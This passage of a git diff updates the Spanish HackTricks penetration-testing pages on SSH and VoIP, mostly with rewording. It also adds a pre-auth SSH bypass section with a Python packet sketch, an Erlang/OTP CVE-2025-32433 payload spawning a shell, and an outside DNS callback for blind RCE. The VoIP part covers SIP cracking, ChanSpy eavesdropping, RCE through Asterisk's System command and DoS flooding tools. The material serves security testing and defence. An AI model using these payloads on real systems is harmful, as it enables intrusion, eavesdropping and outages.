autorizada de comandos, socavando las medidas de seguridad previstas. +Hay un descuido común que ocurre con las configuraciones de SFTP, donde los administradores pretenden que los usuarios intercambien archivos sin habilitar el acceso a la shell remota. A pesar de configurar a los usuarios con shells no interactivas (por ejemplo, `/usr/bin/nologin`) y confinarlos a un directorio específico, permanece una brecha de seguridad. **Los usuarios pueden eludir estas restricciones** solicitando la ejecución de un comando (como `/bin/bash`) inmediatamente después de iniciar sesión, antes de que su shell no interactiva designada tome el control. Esto permite la ejecución no autorizada de comandos, socavando las medidas de seguridad previstas. [Ejemplo de aquí](https://community.turgensec.com/ssh-hacking-guide/): ```bash @@ -252,7 +253,7 @@ Si puedes acceder al archivo "_froot_" a través de la web, podrás listar la ca ### Métodos de autenticación -En entornos de alta seguridad, es una práctica común habilitar solo la autenticación basada en claves o la autenticación de dos factores en lugar de la simple autenticación basada en contraseña. Pero a menudo, los métodos de autenticación más fuertes se habilitan sin deshabilitar los más débiles. Un caso frecuente es habilitar `publickey` en la configuración de openSSH y establecerlo como el método predeterminado, pero no deshabilitar `password`. Así que, utilizando el modo verbose del cliente SSH, un atacante puede ver que un método más débil está habilitado: +En entornos de alta seguridad, es una práctica común habilitar solo la autenticación basada en claves o la autenticación de dos factores en lugar de la simple autenticación basada en contraseña. Pero a menudo, los métodos de autenticación más fuertes se habilitan sin deshabilitar los más débiles. Un caso frecuente es habilitar `publickey` en la configuración de openSSH y establecerlo como el método predeterminado, pero no deshabilitar `password`. Así que, al usar el modo verbose del cliente SSH, un atacante puede ver que un método más débil está habilitado: ```bash ssh -v 192.168.1.94 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 @@ -281,12 +282,68 @@ id_rsa - [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt) - [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2) +## Bypass del Estado de Autenticación (RCE Pre-Auth) + +Varias implementaciones de servidores SSH contienen fallos lógicos en la **máquina de estados finitos de autenticación** que permiten a un cliente enviar mensajes de *protocolo de conexión* **antes** de que la autenticación haya finalizado. Debido a que el servidor no verifica que esté en el estado correcto, esos mensajes se manejan como si el usuario estuviera completamente autenticado, lo que lleva a **ejecución de código no autenticado** o creación de sesiones. + +A nivel de protocolo, cualquier mensaje SSH con un _código de mensaje_ **≥ 80** (0x50) pertenece a la capa de *conexión* (RFC 4254) y debe **ser aceptado solo después de una autenticación exitosa** (RFC 4252). Si el servidor procesa uno de esos mensajes mientras aún está en el estado *SSH_AUTHENTICATION*, el atacante puede crear inmediatamente un canal y solicitar acciones como ejecución de comandos, reenvío de puertos, etc. + +### Pasos Genéricos de Explotación +1. Establecer una conexión TCP al puerto SSH del objetivo (comúnmente 22, pero otros servicios pueden exponer Erlang/OTP en 2022, 830, 2222…). +2. Crear un paquete SSH en bruto: +* 4 bytes de **packet_length** (big-endian) +* 1 byte de **message_code** ≥ 80 (por ejemplo, `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98) +* Carga útil que será entendida por el tipo de mensaje elegido +3. Enviar el/los paquete(s) **antes de completar cualquier paso de autenticación**. +4. Interactuar con las APIs del servidor que ahora están expuestas _pre-auth_ (ejecución de comandos, reenvío de puertos, acceso al sistema de archivos, …). + +Esquema de prueba de concepto en Python: +```python +import socket, struct +HOST, PORT = '10.10.10.10', 22 +s = socket.create_connection((HOST, PORT)) +# skip version exchange for brevity – send your own client banner then read server banner +# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner +# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90) +pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90 +s.sendall(pkt) +# additional CHANNEL_REQUEST packets can follow to run commands +``` +En la práctica, necesitarás realizar (o omitir) el intercambio de claves según la implementación del objetivo, pero **nunca se realiza autenticación**. + +--- +### Erlang/OTP `sshd` (CVE-2025-32433) +* **Versiones afectadas:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20 +* **Causa raíz:** el daemon SSH nativo de Erlang no valida el estado actual antes de invocar `ssh_connection:handle_msg/2`. Por lo tanto, cualquier paquete con un código de mensaje de 80-255 llega al manejador de conexión mientras la sesión aún está en el estado *userauth*. +* **Impacto:** **ejecución remota de código** no autenticada (el daemon generalmente se ejecuta como **root** en dispositivos embebidos/OT). + +Ejemplo de carga útil que genera un shell inverso vinculado al canal controlado por el atacante: +```erlang +% open a channel first … then: +execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}])."). +``` +La detección de RCE ciega / fuera de banda se puede realizar a través de DNS: +```erlang +execSinet:gethostbyname(".dns.outbound.watchtowr.com").Zsession +``` +Detección y Mitigación: +* Inspeccionar el tráfico SSH: **descartar cualquier paquete con código de mensaje ≥ 80 observado antes de la autenticación**. +* Actualizar Erlang/OTP a **27.3.3 / 26.2.5.11 / 25.3.2.20** o más reciente. +* Restringir la exposición de puertos de gestión (22/2022/830/2222) – especialmente en equipos OT. + +--- +### Otras Implementaciones Afectadas +* **libssh** 0.6 – 0.8 (lado del servidor) – **CVE-2018-10933** – acepta un `SSH_MSG_USERAUTH_SUCCESS` no autenticado enviado por el cliente, efectivamente el error lógico inverso. + +La lección común es que cualquier desviación de las transiciones de estado mandadas por el RFC puede ser fatal; al revisar o hacer fuzzing a los demonios SSH, preste especial atención a la *aplicación de la máquina de estados*. + ## Referencias -- Puedes encontrar guías interesantes sobre cómo endurecer SSH en [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html) -- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide) +- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/) +- [Guías de endurecimiento de SSH](https://www.ssh-audit.com/hardening_guides.html) +- [Guía de hacking de SSH de Turgensec](https://community.turgensec.com/ssh-hacking-guide) -## HackTricks Comandos Automáticos +## Comandos Automáticos de HackTricks ``` Protocol_Name: SSH Port_Number: 22 diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md index 4c2be9391..6969e76b1 100644 --- a/src/network-services-pentesting/pentesting-voip/README.md +++ b/src/network-services-pentesting/pentesting-voip/README.md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ## Información Básica sobre VoIP Para comenzar a aprender sobre cómo funciona VoIP, consulta: @@ -192,7 +191,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 # Use --fp to fingerprint the services svmap 10.10.0.0/24 -p 5060-5070 [--fp] ``` -- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** El escaneo SIPPTS es un escáner muy rápido para servicios SIP a través de UDP, TCP o TLS. Utiliza multihilo y puede escanear grandes rangos de redes. Permite indicar fácilmente un rango de puertos, escanear tanto TCP como UDP, usar otro método (por defecto usará OPTIONS) y especificar un User-Agent diferente (y más). +- **`SIPPTS scan`** de [**sippts**](https://github.com/Pepelux/sippts)**:** El escaneo SIPPTS es un escáner muy rápido para servicios SIP a través de UDP, TCP o TLS. Utiliza multihilo y puede escanear grandes rangos de redes. Permite indicar fácilmente un rango de puertos, escanear tanto TCP como UDP, usar otro método (por defecto usará OPTIONS) y especificar un User-Agent diferente (y más). ```bash sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] @@ -239,7 +238,7 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws ``` ### Enumeración de Extensiones -Las extensiones en un sistema PBX (Centralita Privada) se refieren a los **identificadores internos únicos asignados a líneas** telefónicas, dispositivos o usuarios individuales dentro de una organización o negocio. Las extensiones hacen posible **rutar llamadas dentro de la organización de manera eficiente**, sin la necesidad de números de teléfono externos individuales para cada usuario o dispositivo. +Las extensiones en un sistema PBX (Centralita Privada) se refieren a los **identificadores internos únicos asignados a líneas** telefónicas, dispositivos o usuarios individuales dentro de una organización o negocio. Las extensiones hacen posible **rutar llamadas dentro de la organización de manera eficiente**, sin necesidad de números de teléfono externos individuales para cada usuario o dispositivo. - **`svwar`** de SIPVicious (`sudo apt install sipvicious`): `svwar` es un escáner de líneas de extensión SIP PBX gratuito. En concepto, funciona de manera similar a los marcadores tradicionales al **adivinar un rango de extensiones o una lista dada de extensiones**. ```bash @@ -254,7 +253,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200 auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP) auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP) ``` -- **`enumiax` (`apt install enumiax`): enumIAX** es un enumerador de **fuerza bruta de nombres de usuario** del protocolo Inter Asterisk Exchange. enumIAX puede operar en dos modos distintos: Adivinanza Secuencial de Nombres de Usuario o Ataque de Diccionario. +- **`enumiax` (`apt install enumiax`): enumIAX** es un enumerador de **nombres de usuario de fuerza bruta** del protocolo Inter Asterisk Exchange. enumIAX puede operar en dos modos distintos: Adivinanza Secuencial de Nombres de Usuario o Ataque de Diccionario. ```bash enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary enumiax -v -m3 -M3 10.10.0.10 @@ -312,7 +311,7 @@ sippts dump -f capture.pcap -o data.txt ```bash sippts dcrack -f data.txt -w wordlist/rockyou.txt ``` -- **`SIPPTS tshark`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark extrae datos del protocolo SIP de un archivo PCAP. +- **`SIPPTS tshark`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark extrae datos del protocolo SIP de un archivo PCAP. ```bash sippts tshark -f capture.pcap [-filter auth] ``` @@ -323,7 +322,7 @@ Es posible enviar estos códigos en **mensajes SIP INFO**, en **audio** o dentro ```bash multimon -a DTMF -t wac pin.wav ``` -### Llamadas Gratis / Configuraciones Incorrectas de Conexiones Asterisk +### Llamadas Gratis / Configuraciones Incorrectas de Conexiones Asterisks En Asterisk es posible permitir una conexión **desde una dirección IP específica** o desde **cualquier dirección IP**: ``` @@ -398,17 +397,17 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444 ``` ### Llamadas gratuitas / IVRS mal configurados -IVRS significa **Sistema de Respuesta de Voz Interactiva**, una tecnología de telefonía que permite a los usuarios interactuar con un sistema computarizado a través de entradas de voz o tonos de marcación. IVRS se utiliza para construir sistemas de **manejo de llamadas automatizado** que ofrecen una variedad de funcionalidades, como proporcionar información, enrutar llamadas y capturar la entrada del usuario. +IVRS significa **Sistema de Respuesta de Voz Interactiva**, una tecnología de telefonía que permite a los usuarios interactuar con un sistema computarizado a través de entradas de voz o tonos de marcación. IVRS se utiliza para construir sistemas de **manejo de llamadas automatizado** que ofrecen una variedad de funcionalidades, como proporcionar información, enrutar llamadas y capturar entradas de usuarios. IVRS en sistemas VoIP típicamente consiste en: 1. **Indicaciones de voz**: Mensajes de audio pregrabados que guían a los usuarios a través de las opciones del menú IVR e instrucciones. -2. **DTMF** (Dual-Tone Multi-Frequency) señalización: Entradas de tonos de marcación generadas al presionar teclas en el teléfono, que se utilizan para navegar a través de los menús IVR y proporcionar entrada. +2. **DTMF** (Dual-Tone Multi-Frequency) señalización: Entradas de tonos de marcación generadas al presionar teclas en el teléfono, que se utilizan para navegar a través de los menús IVR y proporcionar entradas. 3. **Enrutamiento de llamadas**: Dirigir llamadas al destino apropiado, como departamentos específicos, agentes o extensiones basadas en la entrada del usuario. -4. **Captura de entrada del usuario**: Recopilar información de los llamantes, como números de cuenta, IDs de caso o cualquier otro dato relevante. +4. **Captura de entradas de usuario**: Recopilar información de los llamantes, como números de cuenta, IDs de caso o cualquier otro dato relevante. 5. **Integración con sistemas externos**: Conectar el sistema IVR a bases de datos u otros sistemas de software para acceder o actualizar información, realizar acciones o activar eventos. -En un sistema VoIP Asterisk, puedes crear un IVR utilizando el plan de marcación (**`extensions.conf`** archivo) y varias aplicaciones como `Background()`, `Playback()`, `Read()`, y más. Estas aplicaciones te ayudan a reproducir indicaciones de voz, capturar la entrada del usuario y controlar el flujo de la llamada. +En un sistema VoIP Asterisk, puedes crear un IVR utilizando el plan de marcación (**`extensions.conf`** archivo) y varias aplicaciones como `Background()`, `Playback()`, `Read()`, y más. Estas aplicaciones te ayudan a reproducir indicaciones de voz, capturar entradas de usuario y controlar el flujo de llamadas. #### Ejemplo de configuración vulnerable ```scss @@ -427,7 +426,7 @@ Usando una extensión como: ```scss exten => _X.,1,Dial(SIP/${EXTEN}) ``` -Donde **`${EXTEN}`** es la **extensión** que se llamará, cuando se **introduzca la ext 101** esto es lo que sucederá: +Donde **`${EXTEN}`** es la **extensión** que se llamará, cuando se **introduzca la ext 101** esto es lo que sucedería: ```scss exten => 101,1,Dial(SIP/101) ``` @@ -445,10 +444,10 @@ La vulnerabilidad SIP Digest Leak es una vulnerabilidad que afecta a un gran nú 1. Un teléfono IP (víctima) está escuchando en cualquier puerto (por ejemplo: 5060), aceptando llamadas telefónicas 2. El atacante envía un INVITE al teléfono IP -3. El teléfono de la víctima comienza a sonar y alguien contesta y cuelga (porque nadie responde el teléfono en el otro extremo) -4. Cuando se cuelga el teléfono, el **teléfono de la víctima envía un BYE al atacante** +3. El teléfono víctima comienza a sonar y alguien contesta y cuelga (porque nadie responde el teléfono en el otro extremo) +4. Cuando se cuelga el teléfono, el **teléfono víctima envía un BYE al atacante** 5. El **atacante emite una respuesta 407** que **pide autenticación** y emite un desafío de autenticación -6. El **teléfono de la víctima proporciona una respuesta al desafío de autenticación** en un segundo BYE +6. El **teléfono víctima proporciona una respuesta al desafío de autenticación** en un segundo BYE 7. El **atacante puede entonces realizar un ataque de fuerza bruta** en la respuesta al desafío en su máquina local (o red distribuida, etc.) y adivinar la contraseña - **SIPPTS leak** de [**sippts**](https://github.com/Pepelux/sippts)**:** La filtración SIPPTS explota la vulnerabilidad SIP Digest Leak que afecta a un gran número de teléfonos SIP. La salida se puede guardar en formato SipCrack para realizar un ataque de fuerza bruta utilizando SIPPTS dcrack o la herramienta SipCrack. @@ -500,7 +499,7 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr En Asterisk es posible usar el comando **`ChanSpy`** indicando la(s) **extensión(es) a monitorear** (o todas ellas) para escuchar las conversaciones que están ocurriendo. Este comando debe ser asignado a una extensión. -Por ejemplo, **`exten => 333,1,ChanSpy('all',qb)`** indica que si **llamas** a la **extensión 333**, se **monitorearán** **`todas`** las extensiones, **comenzando a escuchar** cada vez que inicie una nueva conversación (**`b`**) en modo silencioso (**`q`**) ya que no queremos interactuar en ella. Podrías pasar de una conversación a otra presionando **`*`**, o marcando el número de la extensión. +Por ejemplo, **`exten => 333,1,ChanSpy('all',qb)`** indica que si **llamas** a la **extensión 333**, se **monitorearán** **`todas`** las extensiones, **comenzando a escuchar** cada vez que inicie una nueva conversación (**`b`**) en modo silencioso (**`q`**) ya que no queremos interactuar en ella. Puedes pasar de una conversación a otra presionando **`*`**, o marcando el número de la extensión. También es posible usar **`ExtenSpy`** para monitorear solo una extensión. @@ -524,7 +523,7 @@ Los proxies RTP intentan abordar las **limitaciones de NAT** que afectan a los s Otro comportamiento interesante de los proxies RTP y las pilas RTP es que a veces, **incluso si no son vulnerables a RTP Bleed**, **aceptarán, reenviarán y/o procesarán paquetes RTP de cualquier fuente**. Por lo tanto, los atacantes pueden enviar paquetes RTP que pueden permitirles inyectar su medio en lugar del legítimo. Llamamos a este ataque inyección RTP porque permite la inyección de paquetes RTP ilegítimos en flujos RTP existentes. Esta vulnerabilidad puede encontrarse tanto en proxies RTP como en puntos finales. -Asterisk y FreePBX han utilizado tradicionalmente la **configuración `NAT=yes`**, que permite que el tráfico RTP eluda la autenticación, lo que puede llevar a no tener audio o audio unidireccional en las llamadas. +Asterisk y FreePBX han utilizado tradicionalmente la **configuración `NAT=yes`**, que permite que el tráfico RTP eluda la autenticación, lo que puede llevar a que no haya audio o audio unidireccional en las llamadas. Para más información, consulta [https://www.rtpbleed.com/](https://www.rtpbleed.com/) @@ -546,11 +545,11 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav ``` ### RCE -En Asterisk, de alguna manera logras **agregar reglas de extensión y recargarlas** (por ejemplo, comprometiendo un servidor de administrador web vulnerable), es posible obtener RCE utilizando el **`System`** command. +En Asterisk, de alguna manera logras **agregar reglas de extensión y recargarlas** (por ejemplo, comprometiendo un servidor de administrador web vulnerable), es posible obtener RCE utilizando el comando **`System`**. ```scss same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) ``` -Hay un comando llamado **`Shell`** que se podría usar **en lugar de `System`** para ejecutar comandos del sistema si es necesario. +Hay un comando llamado **`Shell`** que podría usarse **en lugar de `System`** para ejecutar comandos del sistema si es necesario. > [!WARNING] > Si el servidor **no permite el uso de ciertos caracteres** en el comando **`System`** (como en Elastix), verifica si el servidor web permite **crear archivos de alguna manera dentro del sistema** (como en Elastix o trixbox), y úsalo para **crear un script de puerta trasera** y luego usa **`System`** para **ejecutar** ese **script**. @@ -558,7 +557,7 @@ Hay un comando llamado **`Shell`** que se podría usar **en lugar de `System`** #### Archivos locales interesantes y permisos - **`sip.conf`** -> Contiene la contraseña de los usuarios SIP. -- Si el **servidor Asterisk se está ejecutando como root**, podrías comprometer root. +- Si el **servidor Asterisk se está ejecutando como root**, podrías comprometer el root. - El **usuario root de mysql** podría **no tener ninguna contraseña**. - esto podría usarse para crear un nuevo usuario mysql como puerta trasera. - **`FreePBX`** @@ -579,11 +578,11 @@ O podrías usar los scripts de [http://blog.pepelux.org/2011/09/13/inyectando-tr Hay varias formas de intentar lograr DoS en servidores VoIP. -- **`SIPPTS flood`** de [**sippts**](https://github.com/Pepelux/sippts)**: El flood SIPPTS envía mensajes ilimitados al objetivo. +- **`SIPPTS flood`** de [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood envía mensajes ilimitados al objetivo. - `sippts flood -i 10.10.0.10 -m invite -v` -- **`SIPPTS ping`** de [**sippts**](https://github.com/Pepelux/sippts)**: El ping SIPPTS realiza un ping SIP para ver el tiempo de respuesta del servidor. +- **`SIPPTS ping`** de [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping realiza un ping SIP para ver el tiempo de respuesta del servidor. - `sippts ping -i 10.10.0.10` -- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Protocolo DoS IAX utilizado por Asterisk. +- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS protocolo IAX utilizado por Asterisk. - [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Una herramienta para realizar inundaciones de mensajes SIP/SDP INVITE sobre UDP/IP. - [**rtpflood**](https://www.kali.org/tools/rtpflood/): Envía varios paquetes RTP bien formados. Es necesario conocer los puertos RTP que se están utilizando (esnifar primero). - [**SIPp**](https://github.com/SIPp/sipp): Permite analizar y generar tráfico SIP, por lo que también se puede usar para DoS. @@ -592,7 +591,7 @@ Hay varias formas de intentar lograr DoS en servidores VoIP. ### Vulnerabilidades del SO -La forma más fácil de instalar un software como Asterisk es descargar una **distribución de SO** que ya lo tenga instalado, como: **FreePBX, Elastix, Trixbox**... El problema con estos es que una vez que está funcionando, los administradores del sistema podrían **no actualizarlos nuevamente** y las **vulnerabilidades** se descubrirán con el tiempo. +La forma más fácil de instalar un software como Asterisk es descargar una **distribución de SO** que ya lo tenga instalado, como: **FreePBX, Elastix, Trixbox**... El problema con estos es que una vez que está funcionando, los administradores del sistema podrían **no actualizarlos nuevamente** y **las vulnerabilidades** se descubrirán con el tiempo. ## Referencias diff --git a/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md b/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md index 6897be5b2..b53d2a61f 100644 --- a/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md +++ b/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md @@ -16,11 +16,11 @@ sip-session-initiation-protocol.md MGCP (Protocolo de Control de Puerta de Medios) es un **protocolo de señalización** y **control de llamadas** descrito en el RFC 3435. Opera en una arquitectura centralizada, que consta de tres componentes principales: -1. **Agente de Llamadas o Controlador de Puerta de Medios (MGC)**: La puerta de enlace maestra en la arquitectura MGCP es responsable de **gestionar y controlar las puertas de enlace de medios**. Maneja los procesos de configuración, modificación y terminación de llamadas. El MGC se comunica con las puertas de enlace de medios utilizando el protocolo MGCP. -2. **Puertas de Enlace de Medios (MGs) o Puertas de Enlace Esclavas**: Estos dispositivos **convierte flujos de medios digitales entre diferentes redes**, como la telefonía tradicional conmutada por circuitos y redes IP conmutadas por paquetes. Son gestionados por el MGC y ejecutan comandos recibidos de él. Las puertas de enlace de medios pueden incluir funciones como transcodificación, empaquetado y cancelación de eco. -3. **Puertas de Enlace de Señalización (SGs)**: Estas puertas de enlace son responsables de **convertir mensajes de señalización entre diferentes redes**, permitiendo una comunicación fluida entre sistemas de telefonía tradicionales (por ejemplo, SS7) y redes basadas en IP (por ejemplo, SIP o H.323). Las puertas de enlace de señalización son cruciales para la interoperabilidad y para asegurar que la información de control de llamadas se comunique adecuadamente entre las diferentes redes. +1. **Agente de Llamadas o Controlador de Puerta de Medios (MGC)**: La puerta maestra en la arquitectura MGCP es responsable de **gestionar y controlar las puertas de medios**. Maneja los procesos de configuración, modificación y terminación de llamadas. El MGC se comunica con las puertas de medios utilizando el protocolo MGCP. +2. **Puertas de Medios (MGs) o Puertas Esclavas**: Estos dispositivos **convierte flujos de medios digitales entre diferentes redes**, como la telefonía tradicional conmutada por circuitos y redes IP conmutadas por paquetes. Son gestionados por el MGC y ejecutan comandos recibidos de él. Las puertas de medios pueden incluir funciones como transcodificación, empaquetado y cancelación de eco. +3. **Puertas de Señalización (SGs)**: Estas puertas son responsables de **convertir mensajes de señalización entre diferentes redes**, permitiendo una comunicación fluida entre sistemas de telefonía tradicionales (por ejemplo, SS7) y redes basadas en IP (por ejemplo, SIP o H.323). Las puertas de señalización son cruciales para la interoperabilidad y para asegurar que la información de control de llamadas se comunique adecuadamente entre las diferentes redes. -En resumen, MGCP centraliza la lógica de control de llamadas en el agente de llamadas, lo que simplifica la gestión de las puertas de enlace de medios y de señalización, proporcionando mejor escalabilidad, fiabilidad y eficiencia en las redes de telecomunicaciones. +En resumen, MGCP centraliza la lógica de control de llamadas en el agente de llamadas, lo que simplifica la gestión de puertas de medios y de señalización, proporcionando mejor escalabilidad, fiabilidad y eficiencia en las redes de telecomunicaciones. ### SCCP (Protocolo de Control de Cliente Delgado) @@ -32,9 +32,9 @@ Los componentes principales de un sistema basado en SCCP son: 1. **Servidor de Control de Llamadas**: Este servidor, típicamente un Cisco Unified Communications Manager, gestiona los procesos de configuración, modificación y terminación de llamadas, así como otras características de telefonía como desvío de llamadas, transferencia de llamadas y retención de llamadas. 2. **Puntos Finales SCCP**: Estos son dispositivos como teléfonos IP, unidades de videoconferencia u otros puntos finales de voz y video de Cisco que utilizan SCCP para comunicarse con el servidor de control de llamadas. Se registran con el servidor, envían y reciben mensajes de señalización, y siguen las instrucciones proporcionadas por el servidor de control de llamadas para el manejo de llamadas. -3. **Puertas de Enlace**: Estos dispositivos, como puertas de enlace de voz o puertas de enlace de medios, son responsables de convertir flujos de medios entre diferentes redes, como la telefonía tradicional conmutada por circuitos y redes IP conmutadas por paquetes. También pueden incluir funcionalidad adicional, como transcodificación o cancelación de eco. +3. **Puertas**: Estos dispositivos, como puertas de voz o puertas de medios, son responsables de convertir flujos de medios entre diferentes redes, como la telefonía tradicional conmutada por circuitos y redes IP conmutadas por paquetes. También pueden incluir funcionalidad adicional, como transcodificación o cancelación de eco. -SCCP ofrece un método de comunicación simple y eficiente entre los servidores de control de llamadas de Cisco y los dispositivos finales. Sin embargo, vale la pena señalar que **SCCP es un protocolo propietario**, lo que puede limitar la interoperabilidad con sistemas no Cisco. En tales casos, otros protocolos de VoIP estándar como SIP pueden ser más adecuados. +SCCP ofrece un método de comunicación simple y eficiente entre los servidores de control de llamadas de Cisco y los dispositivos finales. Sin embargo, vale la pena señalar que **SCCP es un protocolo propietario**, lo que puede limitar la interoperabilidad con sistemas no Cisco. En tales casos, otros protocolos estándar de VoIP como SIP pueden ser más adecuados. ### H.323 @@ -43,15 +43,15 @@ H.323 es un **conjunto de protocolos** para comunicación multimedia, incluyendo Algunos componentes clave del conjunto H.323 incluyen: 1. **Terminales**: Estos son dispositivos finales, como teléfonos IP, sistemas de videoconferencia o aplicaciones de software, que soportan H.323 y pueden participar en sesiones de comunicación multimedia. -2. **Puertas de Enlace**: Estos dispositivos convierten flujos de medios entre diferentes redes, como la telefonía tradicional conmutada por circuitos y redes IP conmutadas por paquetes, permitiendo la interoperabilidad entre H.323 y otros sistemas de comunicación. También pueden incluir funcionalidad adicional, como transcodificación o cancelación de eco. +2. **Puertas**: Estos dispositivos convierten flujos de medios entre diferentes redes, como la telefonía tradicional conmutada por circuitos y redes IP conmutadas por paquetes, permitiendo la interoperabilidad entre H.323 y otros sistemas de comunicación. También pueden incluir funcionalidad adicional, como transcodificación o cancelación de eco. 3. **Controladores de Llamadas**: Estos son componentes opcionales que proporcionan servicios de control y gestión de llamadas en una red H.323. Realizan funciones como traducción de direcciones, gestión de ancho de banda y control de admisión, ayudando a gestionar y optimizar los recursos de la red. -4. **Unidades de Control Multipunto (MCUs)**: Estos dispositivos facilitan conferencias multipunto gestionando y mezclando flujos de medios de múltiples puntos finales. Las MCUs permiten características como control de diseño de video, conmutación activada por voz y presencia continua, haciendo posible albergar conferencias a gran escala con múltiples participantes. +4. **Unidades de Control Multipunto (MCUs)**: Estos dispositivos facilitan conferencias multipunto gestionando y mezclando flujos de medios de múltiples terminales. Las MCUs permiten características como control de diseño de video, conmutación activada por voz y presencia continua, haciendo posible albergar conferencias a gran escala con múltiples participantes. H.323 soporta una variedad de códecs de audio y video, así como otros servicios suplementarios como desvío de llamadas, transferencia de llamadas, retención de llamadas y espera de llamadas. A pesar de su amplia adopción en los primeros días de VoIP, H.323 ha sido gradualmente reemplazado por protocolos más modernos y flexibles como el **Protocolo de Inicio de Sesión (SIP)**, que ofrece mejor interoperabilidad y una implementación más sencilla. Sin embargo, H.323 sigue en uso en muchos sistemas heredados y continúa siendo soportado por varios proveedores de equipos. -### IAX (Intercambio Inter-Asterisk) +### IAX (Intercambio Inter Asterisk) -IAX (Inter-Asterisk eXchange) es un **protocolo de señalización y control de llamadas** utilizado principalmente para la comunicación entre servidores PBX (Central Telefónica Privada) Asterisk y otros dispositivos VoIP. Fue desarrollado por Mark Spencer, el creador del software PBX de código abierto Asterisk, como una alternativa a otros protocolos de VoIP como SIP y H.323. +IAX (Inter-Asterisk eXchange) es un **protocolo de señalización y control de llamadas** utilizado principalmente para la comunicación entre servidores Asterisk PBX (Central Telefónica Privada) y otros dispositivos VoIP. Fue desarrollado por Mark Spencer, el creador del software PBX de código abierto Asterisk, como una alternativa a otros protocolos de VoIP como SIP y H.323. IAX es conocido por su **simplicidad, eficiencia y facilidad de implementación**. Algunas características clave de IAX incluyen: @@ -61,18 +61,18 @@ IAX es conocido por su **simplicidad, eficiencia y facilidad de implementación* 4. **Cifrado Nativo**: IAX tiene soporte incorporado para cifrado, utilizando métodos como RSA para el intercambio de claves y AES para el cifrado de medios, proporcionando comunicación segura entre los puntos finales. 5. **Comunicación Peer-to-Peer**: IAX puede ser utilizado para comunicación directa entre puntos finales sin la necesidad de un servidor central, permitiendo un enrutamiento de llamadas más simple y eficiente. -A pesar de sus beneficios, IAX tiene algunas limitaciones, como su enfoque principal en el ecosistema Asterisk y una adopción menos generalizada en comparación con protocolos más establecidos como SIP. Como resultado, IAX podría no ser la mejor opción para la interoperabilidad con sistemas o dispositivos no Asterisk. Sin embargo, para aquellos que trabajan dentro del entorno Asterisk, IAX ofrece una solución robusta y eficiente para la comunicación VoIP. +A pesar de sus beneficios, IAX tiene algunas limitaciones, como su enfoque principal en el ecosistema Asterisk y su menor adopción en comparación con protocolos más establecidos como SIP. Como resultado, IAX podría no ser la mejor opción para la interoperabilidad con sistemas o dispositivos no Asterisk. Sin embargo, para aquellos que trabajan dentro del entorno Asterisk, IAX ofrece una solución robusta y eficiente para la comunicación VoIP. ## Protocolos de Transmisión y Transporte ### SDP (Protocolo de Descripción de Sesión) -SDP (Protocolo de Descripción de Sesión) es un **formato basado en texto** utilizado para describir las características de sesiones multimedia, como voz, video o conferencias de datos, sobre redes IP. Fue desarrollado por la **Fuerza de Tarea de Ingeniería de Internet (IETF)** y está definido en **RFC 4566**. SDP no maneja la transmisión real de medios ni el establecimiento de sesiones, sino que se utiliza junto con otros protocolos de señalización, como **SIP (Protocolo de Inicio de Sesión)**, para negociar e intercambiar información sobre los flujos de medios y sus atributos. +SDP (Protocolo de Descripción de Sesión) es un **formato basado en texto** utilizado para describir las características de sesiones multimedia, como voz, video o conferencias de datos, sobre redes IP. Fue desarrollado por el **Grupo de Trabajo de Ingeniería de Internet (IETF)** y está definido en el **RFC 4566**. SDP no maneja la transmisión real de medios ni el establecimiento de sesiones, sino que se utiliza junto con otros protocolos de señalización, como **SIP (Protocolo de Inicio de Sesión)**, para negociar e intercambiar información sobre los flujos de medios y sus atributos. Algunos elementos clave de SDP incluyen: 1. **Información de la Sesión**: SDP describe los detalles de una sesión multimedia, incluyendo el nombre de la sesión, la descripción de la sesión, la hora de inicio y la hora de finalización. -2. **Flujos de Medios**: SDP define las características de los flujos de medios, como el tipo de medio (audio, video o texto), el protocolo de transporte (por 